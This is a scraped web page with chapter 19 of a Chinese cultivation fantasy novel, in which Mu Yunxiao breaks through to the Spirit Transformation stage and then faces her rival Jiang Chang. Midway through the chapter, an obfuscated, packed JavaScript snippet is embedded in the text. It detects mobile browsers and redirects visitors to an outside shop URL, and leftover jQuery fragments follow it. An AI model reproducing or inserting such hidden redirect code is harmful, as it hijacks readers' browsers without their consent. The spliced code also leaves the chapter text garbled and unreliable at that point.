默认冷灰
24号文字
方正启体

19. 第十九章

作者:青流玉本书字数:K更新时间:
    “确实是九殿紫云芝,而且品质很好。”万魂幡从牧云霄身上下来化作幡旗,它的语气有些古怪,“这东西是很难得的可以辅助突破境界的灵药。你现在是元婴后期吧?吃了它应该可以直接突破化神期。”


    闻言,牧云霄眼前一亮。


    对于普通修士而言,每升一个境界都很难,天时、地利、人和缺一不可。


    有无数修士终其一生都只能卡在某个境界的巅峰,永远无法突破。


    所以,任何可以辅助突破的东西,都是令修士趋之若鹜的极品宝物。


    九殿紫云芝引人垂涎,也就可以理解了。


    牧云霄刚刚还在发愁自己的魔气增长之后,灵力修为如何突破,九殿紫云芝就出现了。


    这简直是瞌睡天上掉枕头,实在是惊喜。


    “老天爷对我还挺好的么。”牧云霄感慨着,拿起那紫灵芝细细端详,“这玩意儿怎么吃?直接啃吗,还是炼化一下。”


    “这种水平的灵药药性极为精纯,直接吃就可以了。”万魂幡说,“要是你高兴,可以打开肚子把它放进去再缝上。”


    “好办法。”牧云霄说着,手中出现丝丝缕缕的灵力,将那九殿紫云芝包裹其中揉搓压缩,搓成了个比普通丹药略大些的丸子。


    “你真的要吃吗?”万魂幡在一旁问,“这颗灵芝无疑是天大的机缘,可在混沌中,所谓的机缘和资源一样,都是被分配的,资源由仙门分配,机缘由神明分配。这颗灵芝,是神明的安排,祂不是给【牧云霄】的,就是给你的。我之前的判断有误,祂注意到你了。”


    万魂幡的意思,牧云霄明白。


    她正面对灵力增长的难题,这个九殿紫云芝就出现了,而且是她杀了血煞之后从血煞葫芦里找到的。


    血煞将这颗灵芝藏在自己的本命武器里时用了些障眼法,方才牧云霄放出所有的怨灵也并未发现这颗灵芝,如果不杀了血煞,没人能找到。


    可除了牧云霄这个混世魔王,没有人会在这种被魔教、正道同时盯上的情况下跑去牢里杀掉血煞,成为正道和魔教双方皆欲杀之而后快的叛徒,除了爽到自己之外平等地给所有人添堵。


    血煞不生产灵芝,他只是灵芝的搬运工,负责把它精准地送到牧云霄手里。


    这种想什么来什么的大好事,按理说只应该出现在宋雪衣那样的气运之子身上。


    可牧云霄却得到了,不是原主,而是异世而来的牧云霄,她做了只有她才会做的事,得到了这个仿佛专门为她准备的极品灵药。


    太巧了,巧得像是被人刻意安排的好的一样,而能够安排这一切的存在,只有神明。


    牧云霄还是被盯上了。


    “现在,你打算怎么办?”万魂幡问。


    牧云霄却浑不在意:“我还有别的选择吗?”


    “你不怕代价——”万魂幡话还没说完,便见牧云霄将那药团子往嘴里一送,已经吃了下去。


    “只要巴掌不是下一秒就扇到脸上,我才不在乎什么代价呢。”牧云霄说。


    江昶刚获得辰宗亲传弟子的身份就大张旗鼓地来兴师问罪,可如今血煞已死,他想给牧云霄定罪的计划算是泡汤了。


    以牧云霄对这些正道人士的了解,他不可能什么都不做就回去,能够用“光明正大”的手段解决敌人固然好,但若是做不到,卑鄙肮脏的事他们也一样做得顺手,只要不被发现就好。


    江昶一定会对她下手,她想要在解决江昶的同时尽量稳住那两个炼虚期的辰宗护法,就不能暴露魔修身份。


    尽快突破提升灵力是最好的办法。


    况且,宋雪衣虎视眈眈,她不能丢掉仙魔同修的计划,只要修灵,就绕不开神明,她躲得过初一也躲不过十五。


    牧云霄这么想着,将那颗灵芝团子咽了下去。


    灵药入口即化,像清泉一般流入牧云霄的喉咙。


    一股令人尝之欲醉的异香瞬间充斥牧云霄唇齿,甚至覆盖了她的鼻息,那是九殿紫云芝特有的气息——一股菌类特有的,湿润、清新的想起,每一缕香气都蕴含着磅礴的天地灵气。


    洞府中的烛火明明灭灭,室内涌动的灵气如同丝丝缕缕的清风,环绕牧云霄形成一个小小的漩涡。


    万魂幡顿觉无趣,回到牧云霄识海。


    牧云霄深吸一口气,那双幽深的黑色凤眸中逐渐亮起点点精光。


    紫云芝化在牧云霄脾胃,一种极致温润的暖流涓涓滴入丹田,顺着经脉流向四肢百骸,紧接着,四周的灵气如同被投入巨石的平静湖面,轰的一声,在她周身炸开!


    这是天地法则的共鸣。


    刹那间,牧云霄周身的肌肤变得透明如琉璃,可以看到皮下血管中流淌的不再是鲜血,而是璀璨的金色灵力。


    那个盘踞在丹田紫府中、与她生得一般模样的巴掌大小的元婴,猛地睁开了双眼!


    元婴轻轻张口,似乎说了些什么。


    顺着经脉流淌的灵力开始变得狂暴,化作一股金色的洪流,开始疯狂冲刷她的奇经八脉,每一次冲刷,都让她的肉身强度提升一分,骨骼发出脆响。


    化神期,重在一个“神”字。


    药力在洗髓伐脉之后,猛地向她的识海汇聚。


    原本平静的识海掀起了万丈狂澜,元婴从丹田一跃而起,顺着经脉直冲脑海,在识海之上显化出虚影。


    它神色不善地看着同样盘踞在识海中的万魂幡,双方对峙了片刻,终于,元婴选择无视对方,专心沐浴在金色紫色交缠的灵力光芒中,以肉眼可见的速度拔高、凝实,由元婴化为元神。


    洞府之外,夜空清朗,霜白月的月亮钻入一片灰色的薄云之中,再次出现时却变得更加明亮,颜色也转为金黄,片刻之后,金光散尽,夜空重归冷寂。


    一夜之间,斗转星移。


    洞府之内,灵气由外放转为内收,尽数没入牧云霄丹田。


    当第一缕晨光洒入洞府时,牧云霄缓缓睁开了双眼。


    曾经盘踞在她丹田中的元婴已经不再是一个婴儿,而是与她周身融为一体的元神,她心念一动,元神放出一缕神识飞出洞府,笼罩整个玉衡宗。


    此时她的神识已经发生了巨变,不再是一个四处探查的游魂,而是一张无处不在的巨网,玉衡宗每一个角落发生的事都同时钻入她的脑海。


    她轻轻握了握拳,没有动用丝毫灵力,仅仅是凭借元神的威压,便让周遭的空间泛起了细微的涟漪。


    那不单是她自己的力量,而是一种与天地法则的共鸣。


    化神期,成了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936705|192134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    牧云霄收回神识,并没有继续在洞府中逗留,而是直接开门朝下山的方向赶去。


    清晨,花摇影刚刚起床打算去做晨功,一拉开门便看到牧云霄站在她门口。


    “师姐?”她顶着那张晨起不曾梳妆,却难掩隽秀的脸蒙蒙地问,“你找我的?”


    与她同院的其他内门女弟子纷纷朝这边投来好奇的目光。


    牧云霄也不废话,开门见山:“我想杀江昶,光明正大地杀。”


    “什么?!”花摇影连带周围看热闹的女弟子们瞬间清醒了。


    玉衡殿,牧云霄到时陆玄卿和江昶已经在了,那两个辰宗护法还跟在江昶身边。


    江昶看到从容走来的牧云霄,眼中尽是愤恨:“血煞是不是你杀的!”


    牧云霄自顾自地坐下喝茶:“有证据拿证据,别问这么多废话。我先提前说好,什么证人证言我是不认的,除非你把心镜再拿出来试试。”


    “你!”江昶恨急,却半晌说不出话来。


    他若是有证据,现在牧云霄早成阶下囚了。


    江昶是真的没想到血煞会死。


    他笃定牧云霄会救血煞出去,昨夜他让几个听话的玉衡宗弟子在镇狱与山门附近盯了一晚上,吩咐他们只要一见到血煞与牧云霄出镇狱直接就立刻给他们报信。


    他们对这个计划很自信,因为血煞伤得很重,牧云霄就算能躲过盯梢进入镇狱,也绝不可能悄无声息地将血煞带走。


    可他一晚上都没等到盯梢的人报信,也没有感应到他们的死亡。


    天亮时分,终于坐不住的江昶前往镇狱一看,便发现狱中只剩下血煞的尸体。


    牧云霄知道血煞是什么身份吗——魔教十二护法,她就这么杀了!


    她不考虑后果的吗!


    哪怕是辰宗,活捉了这么重量级的魔教成员也会慎重处理,牧云霄就这么杀了!


    血煞没有供出她,心镜也对她没用,她就算什么都不做也比跑去杀了血煞要强!


    身份,身份,身份!


    有身份的人永远跳不出基于身份的思考,他们会自恃身份,也会忌惮他人的身份。


    江昶是这样,江寻鹤是这样,血煞也是这样,他们清楚自己的身份,分析他人的身份。


    一个出身卑贱的牧云霄,她是什么狗屁身份啊,凭什么敢做这些事!


    不对,以牧云霄的身份,这些事绝对不可能是她做的。江昶这么想着。


    他宁可牧云霄是无辜的,也无法接受自己一直以来构建在身份之上的世界观就此崩塌。


    所以心镜没问题,是的,他昨天回去就和两位护法检查过了,心镜并没有出问题,牧云霄确实是无辜的,那血煞也不是她杀的。


    江昶终于自洽,把自己从崩溃的边缘拉了回来。


    他抬头看向牧云霄,对方大大咧咧地看了回来。


    牧云霄确实有恃无恐,现在心镜又成了她的保命符,污蔑这一套是行不通了,得另想办法。


    江昶又回头看了看自己身后的护法。


    他刚刚获得辰宗宗主亲传弟子的身份没多久,这些修为高深的护法自恃身份并不完全听他调遣,不过,请他们出手悄无声息地解决一个无所倚仗的牧云霄,还是很容易的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)